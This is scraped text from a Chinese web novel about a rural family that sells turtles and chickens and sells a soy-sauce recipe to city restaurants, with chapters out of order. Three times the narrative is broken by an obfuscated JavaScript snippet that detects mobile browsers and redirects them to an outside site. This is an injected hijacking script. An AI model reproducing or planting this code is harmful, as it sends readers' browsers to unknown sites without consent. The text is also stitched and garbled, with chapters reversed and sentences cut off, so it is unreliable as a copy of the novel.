“他娘,这炒鸡,哦哦,红烧鸡,要不明儿个再做一回吧?”赵来贺吃得十分满足,甚至如果不是巧娘要留着那米酒走亲戚,他还挺想再喝点小酒。 柳巧娘瞪了他一眼,“还吃呢,鸡都没长大,今天要不是为了试着酱油,我可舍不得,都是下蛋的鸡,哪能这么霍霍的。” “那不是还有成鸡?还有公鸡呢。” “公鸡就十来只,还要留着配种蛋呢,成鸡定给县城了,农忙后保不齐都不够卖的。” 赵来贺有些失望。 赵丰年看了眼他爹,跟巧娘说道:“娘,不然明天再试试甲鱼吧,这甲鱼红烧炖汤都好吃呢。” 赵来贺当即眼睛一亮,“对对对,得试试,咱们先做来尝尝,尝过了味道,回头去了府城也好跟人家说道说道啊!” 柳巧娘一想也是这么个理,当即没再反对了。 第二天,柳巧娘就剁了两只甲鱼,一只红烧,一只炖汤。 别说,真不愧是能卖上五两银子的“黄金肉”,红烧甲鱼鲜香可口,甲鱼汤则是鲜得能把舌头吞下去,一家人再次肯定,甲鱼也不愁卖! 趁着赵丰年休息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894978|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家人决定去一趟府城。 去府城路上得小半天,往常赵来贺一个人也就罢了,赶夜路也不算什么,但是这回带着媳妇儿子,就不能赶夜路,于是赵来贺又跑了一趟岳家,请大舅哥柳大来家里帮忙看顾两天,柳大自是应下不提。 一家人背着背篓,赶了驴车一大早就出了村子,因着背篓盖得严实,倒也没人瞧见装的是甲鱼。 这么一趟,过了晌午才到府城。 这是巧娘跟赵丰年第一次来府城,只觉得什么都新鲜,巧娘听柳父说过府城,一直向往府城的繁荣,只是如今正到了这里,却有些拘谨,赵来贺倒是因为买卖猎物来过几回熟悉了,先带着一家人去了一家面摊,要了两碗荤面,一碗素面。 荤的六文钱一碗,素的要四文。 “六文能买一只鸡苗了呢。”习惯了节俭,巧娘有些舍不得,心想一会儿面上来她吃素的,给男人孩子补补就成。 “这家面实在,酸菜也够味。” 老板听了这话乐了,“客人赏脸了,咱们家这在里摆面摊二十多年了,这酸菜可是我家独家秘方,既然客人喜欢,一会儿给您多加些!” 赵来贺闻言也乐呵呵地跟老板道谢。 等面上来,赵来贺率先将酸菜素面搬到自己面前来,一边招呼母子俩吃面,“趁热吃,好吃着呢!” 柳巧娘无奈,正要动筷子,就见儿子用汤匙正从自己碗里往赵来贺碗里舀肉丝,因肉丝不多,他还特意用筷子挑到了勺子里再给赵来贺舀,当即又是感动又是心疼。 “宝儿自己吃,娘给你爹分就成了。”说完,直接舀了几根肉丝给赵来贺,赵来贺看看这个,看看那个,只觉得心里一片温暖。 “往前我来府城去找过一回那鼎香楼,他家收各种野味山珍呢,年年都要雇一批猎户上山打麋子,散户的东西,只要好都收,说不定这甲鱼人家也要。” 那老板正收拾碗筷,听见这话便问,“客官说的甲鱼,可是那团鱼?” 赵来贺柳巧娘哪里知道,正懵着呢,赵丰年回了,“正是团鱼,因为它身带硬甲壳,我们那边都管它叫甲鱼。” 许是之前赵来贺夸赞他家酸菜,又见赵丰年小小年纪说话就口齿清晰,老板也乐得说几句,“要我说啊,你们想卖团鱼,不如去如意楼问问。这如意楼啊,一直想盖过鼎香楼,这不,前些日子又雇了一批人上山下水地去找稀罕的食材,你们若有捉到了那团鱼,说不定能买个好价钱呢。” 谢过面摊老板好意,一家人带着团鱼还有一坛酱油便去了鼎香楼。 倒不是不信面摊老板,而是这边离鼎香楼最近,二来嘛,这做生意自然是要货比三家的。 一家人这边来到鼎香楼,果然听说是收团鱼的,表面来意后,一家人就被小二领到了后院。 后院此时正嘈杂着,只见不少猎户带着猎物候着,也有一两个带了两盆甲鱼的。 那掌柜的正跟一个猎户讨价还价,结了钱后这才朝这边走过来,瞅了一眼他们的背篓,只说给三两银一只。 31. 第 31 章 原来,那天孙掌柜见赵家说是买团鱼的添头,又是自家做的,便以为什么农家土酱,随手就搁一边了,正巧灶台上的厨子听说收了上好的团鱼过来瞧,看见搁在桌上的坛子,还以为是采购来烹饪的酒水,一道都拎去了灶房。 晚食刚好有桌客人在小二的推荐下点了道团鱼,以往这团鱼大多炖汤来食,讲究一点的厨子喜欢先烹炒后再注入热水熬煮,在这个炒制的时候烹入酒,能很好地去除团鱼的土腥味,如意楼的大厨拍开坛子口,按照经验直接倒了一勺,刚发现颜色不对,手下却已经下意识泼上去了。 正当他心下一急之时,却忽然闻到一股奇特的香味,他眼睛一亮,手上快速翻动,果然那香味越来越浓郁,整个团鱼也染成了好看的酱色,不多时,竟是整个后厨都弥漫了这股子香味。 整个厨房或忙碌切菜洗菜,或帮厨,或过来上菜的小二,都纷纷忍不住吞了口唾沫,伸头观望。 “真香啊,这是做什么好吃的呢?” “颜色也好看!” “李师傅的手艺又进步了。” 而随着店小二来回传菜,这股香味顺着后厨又传到了前堂,此时正是饭点,大堂里不少人闻见了,只觉得口舌生津,忍不住就问伙计这是做的什么菜。 伙计哪里知道,孙掌柜了解情况后,立马知道机会来了,连忙笑着跟大伙解释,只说是店里新进了一批上等团鱼,如意楼新研制了一种做法,用酒楼的独家配方制作,鲜香浓郁,一口就能让人流连忘返。 能上酒楼里吃饭的都是不缺钱的,闻着这味道,听完自然是要点上一份,而这样一来,后厨的团鱼竟是不够用了。 第一份红烧团鱼上桌的时候,瞬间吸引了整个大堂的客人,这时候鲜有这样浓油赤酱的菜色,那团鱼壳边的皮炖得颤颤巍巍,裹足了酱料,仿佛都能想象一口抿进去,又鲜又香,好吃得恨不得拌上两大碗白米饭。 “好!这味道,绝了!再给我来一碗大米饭,拌这汤汁简直极品!” 正是先前点团鱼汤的那位,不过他也闻见了那霸道的味道,便问伙计能不能把他的汤换成新菜做法,伙计知道后厨没做团鱼汤,他又是今天第一个点团鱼的,自是应下。 是以,他也是第一个品尝到新菜的人。 见他吃得这么香,这下其他人也纷纷点单。 于是,这枚一个晚上过去,如意楼里的团鱼就买空了。 赵掌柜笑得腮帮子都酸了。 第二天中午,又来了一批要点新菜的人,赵掌柜无法,只得解释团鱼得明天才有,但是那种浓酱菜色还有其他的,众人只得遗憾点其他的浓酱菜,这一尝了不得了,发现这种菜色都非常好吃! 后厨里,尝试用那坛酱汁烹制其他菜肴也大获成功的李厨子开始发愁了,因为酱汁没有了,无奈,只得派人去跟掌柜的说一声。 而孙掌柜得到了这个消息也很着急。 眼下这种菜肴正是卖得火热的时候,再多也不愁卖的,这时候断了货岂不是看着银子从家门口路过还不捡吗?! 孙掌柜无法,只得一边跟客人们解释,另一边派了几个机灵的伙计出去碰碰运气找找还有没有买这种酱汁的地方,毕竟只是农家自制酱汁,万一他们吃着稀罕,而那些村子里见怪不怪呢。 伙计自然是没找到,不但没找到,而且无论是府城还是下面几个村镇,都没听说过这种酱汁。 孙掌柜还有什么不明白的,八成是人家家传的方子。 于是在经历了有钱不能挣的的煎熬后,一听伙计说赵家来送货,孙掌柜当即抛下手上的活,一路小跑来了后院。 孙掌柜先看见那车上的笼子,没看见酒坛子,就有些失望。 “孙掌柜,这里是六十只团鱼,您点点,按照约定,下一批我过五天再送来。”赵来贺一边说,一边打开笼子给人清点。 孙掌柜却道不急,“那什么,赵兄弟,你们上回的那个酱汁,可还有余的?” 赵来贺还想什么酱汁,忽然想起了是前面送的酱油,“哦哦,您是说酱油吧,有倒是有,不过……” 孙掌柜自然懂得,“当然不能再让赵兄弟白送,上回那酱汁,哦,叫酱油是吧,那可是好东西啊,炒那肉菜的时候加上一点这东西,那味道,嘿,绝了!” “也是您识货呢,原是我们自家琢磨出来想要做点小买卖的东西,只是弄起来麻烦,前后废了大半年的功夫,就得了两三坛,头先想着给各个酒楼食肆瞧瞧,后来您痛快,要包圆了我家的团鱼,才想着送了您当个添头,这回赶着送货便也没带上,正好过几日我也要带着样品再来府城,您若要,我也再给您捎上一坛就是。” 孙掌柜心里咯噔一声,怕他转头就买给其他酒楼,尤其是鼎香楼!便又想独家,只是刚提出来,赵来贺便作出面露难色。 这东西说麻烦也麻烦,做起来成本倒不是很高,眼前只有他们家有,买高价也不是不行,但终究会被别人发现,到时候反而难以下场。 儿子的意思是他们家现如今是分身乏术,再添一个酱油的营生怕是没这个精力,是以这东西他们自己不做,先送给酒楼食肆试试,待试好了,自然知道这东西的好处,到时候只把方子卖出去。 没有得到想要的,孙掌柜有些可惜,又听他说后天要送两坛来府城,还要卖方子,当即定下了其中一坛,又想要花二百两买下方子,但是赵来贺拒绝了,只说还要跟家里人商量。 现在酱油还没完全在府城传播开来,等大家都知道有这么个好东西了才行呢。 原本赵来贺跟柳巧娘也是想要散卖的,但是赵丰年劝了下来,毕竟他们家人少,又要养鸡养甲鱼,又要酿酱油,怕是忙活不过来了,而且他们就是普通的老百姓,乍然多了这些赚钱的门路,保不齐会被盯上。 赵来贺跟柳巧娘一听这话,连忙放弃做酱油生意了。 赵来贺拿了一百四十八两的尾款,买了媳妇要的缸,还有几个小坛子,赶夜路回了赵家村。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919410|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等到第二天,又将酱油分了分,这次是装了半斤的十来个小坛子。 而如意楼前两日新出的菜色也在府城传开了,有经验的老厨子一听就知道是加了某种调料汁子,几家大酒楼播种托人去寻,却始终没找到,只听说是个兜售团鱼的乡下人自家做的。 这时候,赵来贺也拉着驴车上的酱油,走进了几家酒楼。 当然也没忘记如意楼要的,孙掌柜知道他送了其他酒楼“试用装”,也不生气,乐呵呵地将自己买的两斤抱下来,这钱是上回就结完的,为了占个府城头一家,多添花了二两银。 这一回回去后,再来府城要秋收后了,如意楼这几天生意大好,前两天送来的团鱼竟然都卖完了,加上现在又有了酱油,孙掌柜有信心会卖得更快,让赵来贺至少明后两天再送一次。 家里池塘里的甲鱼还有,赶在秋收前再送几次,刚好可以休养生息了,他跟那些管事掌柜说秋收后会在如意楼卖方子,有需要的都可以去东街的如意楼找他,这样想了想,那这两天再跑一次,后面小半个月都不用来了,赵来贺便答应了孙掌柜。 而那些本来对赵家酱油不以为意的人,待试过了最近颇为火热的酱油后,顿时发现了新商机,可不等他们继续用,酱油就空了,而很多老客都会问,有没有如意楼那种红烧的菜肴。 鼎香楼也不例外,因为没有酱油,生意都惨淡了不少。 各家摩拳擦掌,眼巴巴的等着秋收后去如意楼买方子。 这天府城的如意楼格外热闹。 孙掌柜这段时日可谓是春风得意,凭借一坛独家的酱油,独占鳌头,风光无两,各家酒楼、食肆、作坊这些日子没少派人来如意楼打听消息,今天中午听说人来了,忙赶着上门。 瞧见鼎香楼的牛掌柜,孙掌柜忙迎接上去,大声笑道,“哎呦喂,竟是鼎香楼的牛掌柜,蓬荜生辉,蓬荜生辉啊!” 牛掌柜气闷,自从得知给如意楼送酱油的人第一个去的是他们鼎香楼,他却没接上这门好生意,他们东家把他臭骂了一顿,还罚了两个月薪水,今天他是领了命来,无必要拿到酱油方子,否则他这掌柜都要卷铺盖走人了。 各家大酒楼要么有自己的作坊,要么有合作的作坊,是以,听说今天要卖这段时间风靡府城的酱油方子,不光是府城里,甚至几个附近县城里竟也有人来。 赵丰年可不管什么人要买,总之五十九两一份,愿意买的他们都给卖,至于后面其他人会不会泄漏出去,或者转手高价再卖出去,他相信今天之后,酱油这味调料品将在临江府遍地生花,慢慢走近大夏寻常百姓家,价格不会太便宜,却也高得离谱。 这场买卖很快就结束了。 彼此都很满意。 除了赵来贺。 揣着一千多两银票的他慌张不已,只想赶紧回到赵家村,到了家后,他觉得村里也不怎么安全,于是索性连夜在床底挖了一个洞,藏在了一个木盒子里,又将洞糊起来,这才稍觉得心跳平稳一点了。 32. 第 32 章 一时间,夫妻俩都不敢出门了,只想守着银子。 本来如今农忙都是雇人,左右没他们自个儿什么事,赵来贺早就手痒难耐,还想卖完酱油方子后就上山打猎去,如今可不敢了,就连当时卖完方子,他都是找个没人的地扮成乞丐回来的。 赵丰年见他两人慌成这样,便提议再买两条狗来看家护院。 “是该再抱两只,大黄被咱们养得娇气,见人就撒娇,叫他看家捉贼是指望不上了。”话是这么说,但家里最疼大黄的就是巧娘了,大黄被养成这样,大部分的责任都在巧娘身上。 “那我明日个去趟镇上,镇上张屠户家养了几只狼狗,每年差不多这个时候都有一窝,我看看能不能抱两只回来,正好农忙了,也割几斤肉犒劳犒劳。” 听了这话,巧娘就笑了,“得了吧,农忙又不叫你忙的,还犒劳呢,我看你就是馋宝儿上回说的红烧肉了。” 赵来贺笑了笑,没反驳。 第二天下午赵来贺就把两只小狼狗抱回来了。 两只都是灰黑色,只不过一只尾巴上有一簇白毛,一只是在眉心里长了一簇白毛。 三个月的狗崽子正是开始换乳牙的时候,见天的要磨牙,张屠户家多的是大骨头给狗崽子磨牙,赵家是没有的,于是,当这天起床,赵丰年发现自己丢了一只鞋。 “肯定是被两只狗崽子衔走了,你爹也是,张家就是卖肉的,他去人家家里抓狗,只知道给自个儿割了两斤肉,都不晓得要给狗买根骨头,你先穿这一双去学堂,另外一只娘去给你找,指定又是衔到鸡棚那边了!” 巧娘给赵丰年拿了新鞋,这才又出去找狗了。 “晓得了,我今天送宝儿去县城,回来的时候就买!”赵来贺正在堂屋摆饭,听到巧娘嘀嘀咕咕走过去就提了一句。 “家里如今有三条狗呢,得取个名字才行,大黄就还是大黄,这新来的两只,一只旺财,另外一只叫——” “叫来福吧。”赵丰年憋了一样那只正咬着他一只鞋咬得起劲的狗崽子,慢悠悠说道。 照巧娘的说法,这只鞋已经被咬得不成样了,也穿不成了,索性给了它,免得还要再霍霍其他的鞋。 赵来贺喝了口粥,点头,“是个好名儿,尾巴白尖的叫旺财,那眉心白毛的就叫来福了。” 家里多了两只狗,无论是巧娘还是赵来贺,都觉得安心了不少,哪怕还只是小狗崽了。 于是,第二天赵青青赵翠翠姐妹俩过来帮忙后,巧娘便引了姐妹俩去了狗窝,然后自己去河边洗衣服跟大家一起唠嗑去了。 这一唠,就唠到了赵家三房。 “听说赵老三已经一个多月没回村了,他巧婶,你们三伯月底纳粮税的时候都没回村,是你们帮忙拉过去的?这是赚了不少钱了吧?” “不是我家,是他大伯家帮忙捎带的。”巧娘笑了笑,她只知道赵三确实三天两头不归家,倒是不知道竟是有一个多月没回来了,许是钱员外那边是忙的,这年头,忙一些才是好呢。 “要说这赵三媳妇也是好命,男人是个读书的,替员外老爷做事,虽说十天半个月才能回一次家,但到底是手上有钱不是。” “都说赵三赚到钱了,只是我看陈莲跟两个闺女倒是还节俭着呢,这不是,今年家家都是大丰收,少不得扯了料子做身衣裳,割几斤肉补补,她们家碗里还没个油花子呢!” “谁说不是,他们家三亩地,平日里就见陈莲带着两个闺女在地里,农忙也要花钱请人,瞧不见赵老三半个影子的。” 巧娘听了一耳朵,没当回事,各房自己过自己的,用不着她上去操心。 而这头,赵丰年下了学正同几位要去书肆的同窗告别的时候,却好像看到了赵来庆。 “赵兄?” “无事,只是似乎看到了熟人,许是我看错了,那李兄、王兄,便明日再见了。” 赵丰年辞别众人,爬上驴车,就见赵来贺看着那几个快走远的同窗皱着眉头。 “爹,怎么了?” 赵来贺有些忧愁,“宝儿啊,那几个都是你同窗?他们都是要去书肆?” “嗯,他们比我先来县学,也都是附近几个镇上的。” 只见赵来贺更忧心了,“宝儿啊,咱们家如今也是富裕了,你不用再节衣缩食替爹娘省钱,爹也读过私塾,知道同窗之谊, 他们要去书肆,下回你也一起去!爹给你银子,咱们都买最好的!” 赵丰年又是感动又是无奈,“爹,您想多了,我如今东西都是够用的,书院里有自己的藏书,夫子都准许在书院里借阅的,暂时不缺东西我才没有一起去。” 赵来贺顿时放心了,“这就好这就好,不过你如今在县城读书,县城的花销肯定不比在村子里,给你的零用还是少了些,往后给你增到一两!你想买什么就买什么。” 晚上,饭桌上,赵来贺还特意跟巧娘也提了一句,巧娘自然是赞同的。 “远的不说,就说二嫂家,他们柱子读书,可是用的最好的笔墨,最好的纸张。” 赵来贺也赞同,“富哥家有志用的东西也都是好东西。” 赵丰年忙解释那些东西都是非必须的。 “就是要用次一等的笔墨纸砚才好呢,假设这样的东西都能练好了,后面考试的时候用纸不会太差,写起来也流畅,才能更好,再说,如今我还没到那个阶段,倘若真有需要的,我自不会亏待了自己。” 科举的事巧娘赵来贺是不懂的,但是既然儿子都说了不会亏待自己,那他们自然是没话可说了。 也是这么一着,赵丰年完全忘了赵来庆的事。 直到这天,钱员外带着礼品上了他们家。 “......早该来拜访的,你兄弟在我府上做事,算起来,都是一家人了...令公子是多次被县令大人夸赞的神童,一直久闻其名,未见其人,今日一见,果然是少年英才啊!” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本来以为只是猴崽子打架叫了几句,后面一听不对劲,立马就清醒了,正要起来,却见巧娘冲了进来一把见他搂在怀里,外面随即传来他爹大喊抓贼的声音。 “娘——”赵丰年刚要挣扎,却被巧娘抱得更紧了,不仅如此,她浑身颤抖,显然是怕极了。 “宝儿不怕宝儿不怕,娘在这里呢!” 赵丰年察觉到巧娘其实更害怕只手,就不再挣扎了,只轻轻地回拍着他娘。 “娘,我不怕,你也不要怕,有爹在呢,爹还有弩箭,不会有事的。” 巧娘被儿子安抚下来,正要说什么,就听见外面有瓦片砸碎的声音,当即心中一紧,就要冲出去瞧情况,赵丰年连忙跟上。 只见院子里空空如也,招财跟来福狂叫不止,衣架子倒在了一边,早已经不见赵来贺跟贼人的踪影。 巧娘当即就双腿一软,幸好赵丰年后面扶了一把。 “天杀的偷子!” 25-30 第25章 第25章祥瑞 周大力提着酒水来赵家的时候,跟赵家人透露了一点消息。 “大力兄弟如今也是坐到高位了,这样的消息都知道。”赵来贺笑着敬了一杯,周大力忙低了低。 “托赵大哥的福!” “话说,听说丰年侄儿这回要下场考了?” 一说到这个,赵来贺就笑了,“孩子想试试,咱们做父母的,总不好拦着。” 周大力十分羡慕,他有两个儿子,也送去了读书,只是资质只能说平平。 “我也不妨再给你透点消息,丰年侄儿这回下场还真是下对了,张大人啊,还想往上走走,他任期到明年年尾就忙三年了,如今有了这堆肥的业绩,属民生,是一个考核,可还有那教化呢,他可就盼着治下出现一个神童,本来吧,丰年侄儿又是弄孵小鸡、连枷,又是堆肥的,虽然放到外头都是了不起的大事,担得起神童的名,但是他们那些读书当官儿的,还是喜欢读书的,这要是丰年侄儿这回成了,那就是当之无愧的神童,张大人势必要敲锣打鼓让所有人都知道,好再升一阶的。” 赵来贺听得又惊又喜,只是冷静下来后,便也没什么了。 “不瞒大力兄弟,我跟他娘没想让孩子走这条路子。” 周大力不理解。 赵来贺想了想,“我们这孩子吧,打小身子骨就弱,也原是我的错,他娘怀他的时候,没能吃上好的,胎里就养得不好,八个月就落了地,后头就大病小病不断,好不容易养住了,我就寻思,孩子想做什么都行,不求他有多大出息能耐,只要过的顺遂如意,我跟他娘就心满意足了。” 周大力长叹一口气,“都不容易。” “宝儿?怎么在这风口上杵着?怎么不进屋里去?” “没什么,娘,我先回书房了。” “诶诶。” 巧娘摸不着头脑,只往堂屋再送了碗下酒菜。 周大力来的不早不晚,赵家已经过了饭点,巧娘自然不好让客人吃剩饭剩菜。 而这边,府城陈知府也收到了临县的消息,历朝历代都重视农业,劝农桑也是官员考核的重要指标,临县做得好,自然也是知府长官们的的业绩,当即,知府便准备派人年后去考察了。 “张先多次提到的赵氏之子,也多留意些,倘若真有些个文气,我也不妨成全张先,许他个‘神童’。” 言下之意是要看那小儿是否正途了,而这所谓的正途,文气不文气的,自然不能是个泥腿子。 同知于大人点点头。 治下出了个“神童”,也是对他们为官的肯定,报上去算祥瑞的。 临县这边,还沉浸在丰收与年节的喜悦中。 县城里的酒楼食厮刚收走一批鸡,把最后一家这几天要的鸡都检查装笼后,巧娘跟赵来贺将鸡棚里里外外收拾了一遍,换上了新的干草,又从笼子里摸了一只老母鸡,这才离开棚屋。 晚饭,赵丰年就喝到了老母鸡汤。 “灶上煨了两个多时辰呢,多喝点!这样见天的看书,怪费脑的” 巧娘给儿子盛好汤,又冲赵来贺道,“他二伯娘今天下午来了一趟,问家里还有多少的鸡,又去棚屋那边转了几圈。” 赵来贺琢磨了一会儿,“应该是二哥让来的,前头听说他们那酒楼前头买鸡的路子断了,说不定是想找咱们买鸡的。” “那这可不凑巧了,抛开开春可以卖的,今年家里留了六十,只是这里头还有二十只老母鸡是要留着给宝儿炖鸡汤的,正经能下蛋的,也不过四十只,还要留着孵春雏,等运走许家食肆订的五十只,咱们年前可做不成的。” 赵来贺点点头,“宝儿要考试,鸡汤不能断,二哥那边我去说,你不用管了。” 赵丰年很想表示他其实不用两天就喝一次鸡汤,但是赵来贺巧娘肯定又是拒绝的,只能无奈接受安排了。 这边,赵老二刚从县城回来,便急急忙忙问妻子王小红跟赵来贺家买鸡的事了。 “放心吧,我都看过了,她那棚屋里,少说有三四百呢,够你们食肆用的了。” 赵来喜这才放下心来,满意笑道,“这回要是办成了,我可就是大伙计了。” 王小红也高兴,“大伙计能一个月能给多少的?” “少说一百文是有的。” 王小红心头一热,赵来喜正式被留在县城那家食肆后,每个月能拿七十文,在村里已经是很不错了,若是涨到一百文,那可真就是好日子来了。 “鸡肯定是没问题的,只是我们总不能太早了就上赶着去,如今可到年尾上了,她那边再买不出 去,就只能压价卖了,这时候我们去要买,还是帮他们呢!” “那你明儿个再去问问。” “还用你说。” 王小红还沉浸在一百文一个月里,便想到了儿子,“一百文一个月可真是不错了,柱子前头说想要那什么文氏墨纸张的,我都没舍得给买,要是你多赚了,整好给他买,省得他成天的闹。” 赵来喜皱了眉头,“你就先让他用用旁的,他才进学多久,何必用那么好的。” “还不是因为你,前些日子给他带那些好的,他带去了学堂,如今人家都当你这个当爹的多有能耐舍得给儿子买那样的好东西,他自然要脸不想再用差的去了。” “那是得了掌柜的赏给的,谁吃得没事干去买那样贵的东西,都是纸,什么不能写?都是你惯的!” 王小红被说了一顿,心里正是不舒坦的时候,刚要出门,迎面看见了两个女儿背着衣服篓子回来。 “吃干饭的不成,去了这么久,叫你洗个衣服就知道去躲懒,能做什么事!家里冷锅冷灶的,你爹回来了连口热水都喝不上!” 赵青青一双手冻得通红,听见骂声也没吭声,只拉着赵翠翠忙则去晾衣服。 王小红发泄了一通,都等不及明天,就忙着找巧娘去了,刚好错过了从另一头过来的赵来贺。 “怎么会没有?你那鸡棚里不是还有那么多吗,” “那是已经定出去的,她伯娘,你看你,腊月里来来回回这么多趟,也不说你要,不然你一早说了,我也好给你留着不是,如今都卖出去了,剩下的还没长成呢,要等开春才能买呢,不过,你要是要的急,我这里明年二月出栏的倒是分你五六十只也不打紧。” 等到二月,那黄花菜都凉了,赵来喜的大伙计也别想了。 王小红这里嘴皮子都磨破,巧娘都没松口,气得她一路骂回了家。 等到了家,才知道赵来贺已经来找过赵来喜。 夫妻俩打算落了空,都黑着一张脸。 赵家以为这事就这么过去,只等着镇上许家食肆的伙计把定好的鸡取走,就准备过年了,却一直等到腊月二十六都没见人来。 巧娘有点担心,家里早就备好了鸡过冬的食物,虽说这五十只定出去的没准备,大不了就是多跑几趟的事,但是这约好了,人却一直不见,就担心出了什么差错。 到了腊月二十七,赵来贺索性套了车去了镇上。 等回到家,赵丰年跟巧娘都等着了。 “说是定好了另外一家,把定金退了回来。” 巧娘皱了眉头,也松了口气,“这许家食肆太过分了,就是跟别家定了,也托个人跟我们说一声啊!” 赵来贺附合了一句。 等巧娘去了厨房烧水,赵丰年看着他爹,“爹,究竟出了什么事?” 赵来贺当即垮了一张脸,他就知道瞒不过儿子,当即苦笑道,“说是咱们家的鸡发了鸡瘟,那许家食肆带头说以后都不收咱们家的鸡了。” 赵丰年听完也皱了眉头,他们家的鸡从小鸡崽开始就比旁人家健康,他爹娘更是每天都要打扫鸡棚笼舍,吃的都是新鲜的蔬菜麦碎,更是雇了村里的人买田螺砸碎了取螺肉给鸡补充营养,病死的鸡也很快就移除笼舍,跟病鸡同笼的鸡都会隔开数日观察确定没有大碍才会重新归笼。 他能肯定他们家养的鸡没有问题,只是为什么会出现这样的谣言,还需要查实,不然别人误以为他们养的都是病鸡,那这生意就别想做了。 “爹,不如问问大力叔,请他帮忙查一查。” 赵来贺点点头,“我也是这么想的,明天一早我就去一趟周头,只是这事先别告诉你娘,否则她该急的晚上都睡不着觉了。” 赵来贺去了周头周家村寻周大力,而这边,赵家村里也开始出现了赵家的鸡发了鸡瘟的传言。 这下,赵丰年跟赵来贺想瞒住巧娘也瞒不住了。 “这些碎嘴的,我们家的鸡怎么样,大家都看在眼里的,谁家那么健康的小鸡苗买四文钱,还能让大家自行挑选的,就说下蛋,旁人家的要养六七个月才能下蛋,咱们家的鸡五个月就能下蛋了,下的蛋都比旁人家的大!谁空口白牙就说人家的鸡遭了瘟,这不是害人么,丧天良的!” 巧娘气冲冲回到家里,两杯水下肚都没消气。 赵丰年只得告诉她赵来贺已经去请周大力帮忙的事。 “这事有些蹊跷,娘,我们要查清楚这话从哪里传开的,我本以为是其他跟咱们家做一杨生意的人为了抢生意给许家食肆放的话,可是如今村里也出现了这种谣言,就不正常了。” 巧娘被吸引了注意力,“怎么就不正常了?” “你想想,若是只想抢生意,这话跟镇上县城里的酒楼食肆说说也就是了,何必闹到村里来呢?左右咱们村里又没有大单的买卖,碍不着他们什么事。” “是这么个理,那现在该怎么办呢?” “爹已经去找了大力叔,看看大力叔能不能查到什么,至于其他的,等有了信再说吧,娘,咱们该做什么做什么,不管其他人怎么说,照常就行。” 巧娘听了进去,只是气不过又骂了一回。 不过第二天,周大力就递了消息给赵家,只说没听到县城跟镇上其他地方出现这样的谣言。 赵丰年心里有了数。 晚上,赵来贺巧娘还在寻思自家得罪了谁,赵丰年却叫他们等着。 就在这个当头上,王小红跟赵来喜竟然一起上了门。 第26章 第26章案首 “我们这回啊,还是为着买鸡来的,老四,说实话,这些日子村里风言风语的,都说你家鸡遭了瘟,我们做兄嫂的,哪里能看着你们这样,这不是,就又来一回了。” 赵丰年昨夜刚跟赵来贺、巧娘分析过,今天人就上门了。 赵来贺此时心中百味交集,巧娘就很直接了,一双眼盯着二房夫妻快要冒出火来。 “二哥二嫂就不担心我们这鸡病着,回头吃出了毛病?” 王小红摆手,“嗨,什么病不病的,我们也是相信你们,听说你们前头准备卖给镇上许家食肆的砸手上了,都是一家人,你二哥又是在县城酒楼里做活的,还能让你们真过不好这个年,这不,我们都要了!” 赵来贺看了眼赵来喜,见他没什么反应,顿时失望不已。 双方闹得个不欢而散。 大年三十去老宅送菜孝敬老人的时候,两家人碰面,更是说都没一句,就是再迟钝的人都看出了端倪来。 赵老头也是对老二气愤不已,奈何手心手背都是肉,大过年的,终究是没说什么。 大人们还在别苗头,赵青青偷偷将赵丰年拉到了一边。 “宝儿,我爹娘……”赵青青欲言又止,“总之,你跟婶娘四叔都说说,最近仔细些鸡!” 赵青青说完就跑了,也不知道她亲口说出这番话费了多大的勇气。 赵丰年叹了口气。 赵四家的鸡没问题,县衙门里都买了赵四家的鸡过年呢。 初一去拜年的时候,村里的风向已经变了。 巧娘再次听到了大家夸她会养鸡,只不过如今却是没了以往的开心了,经此一事,她也看透了,除了自己跟家人,旁人再多的好话都只是面上好看,她也没那么在意了。 不过再多其他的,他们家也再顾不上了,因为很快就到了县试了。 赵家村的人知道赵丰年这次考童生的人不多,赵大伯家是头一个知道的,毕竟赵有志也在顾家私塾进学。 得知赵丰年这次要下场,赵有志气的摔了一个他二叔送的笔洗,险些挨了赵来富一顿竹笋炒肉,好在及时被他爷发现拦了下来。 赵来富气得扔掉竹竿,让媳妇挑捡了几样糕点,就要往赵家去。 赵有志本来还想撒泼,却被她奶眼急手快拉住了。 眼瞧赵来富出了家门,赵有志终于忍不住哭嚎了起来。 “那是我姥爷给我买的!凭什么要给赵丰年那个病秧子!他在私塾祸害人还不够,到家里 还要抢我的东西!” 且不说赵大伯家如何人仰马翻地哄孙子,这头赵来富已经到了赵家坐了下来。 刚开始他见着赵丰年父子还有些不好意思,等聊了两句,就放开了说起考试需要留意的地方。 赵来贺巧娘如饥似渴地听着,恨不得长两个脑子。 赵大伯说的这些,赵丰年在私塾已经听两位夫子说过,但不妨碍他听得认真,以及对赵大伯的感谢。 他想,这就是他爹说的,赵大伯迟早会从牛角尖里走出来,如今看来,他确实是走出来了。 赵来富提着赵家给的一篮子回礼鸡蛋,刚离开,这头赵来元就提着一吊猪肉来了。 